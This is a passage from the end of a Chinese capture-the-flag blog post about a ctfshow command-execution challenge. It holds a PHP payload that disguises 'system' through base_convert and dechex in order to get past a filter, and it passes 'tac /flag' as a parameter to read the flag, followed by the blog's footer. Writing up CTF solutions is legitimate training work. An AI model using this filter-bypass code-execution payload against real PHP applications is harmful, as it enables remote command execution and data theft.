$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag

之后查看源码即可得到flag

1605799563145

文章作者:CyzCc
最后更新:2020年12月10日 19:12:23
原始链接:https://cyzcc.vip/2020/11/05/ctfshow%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------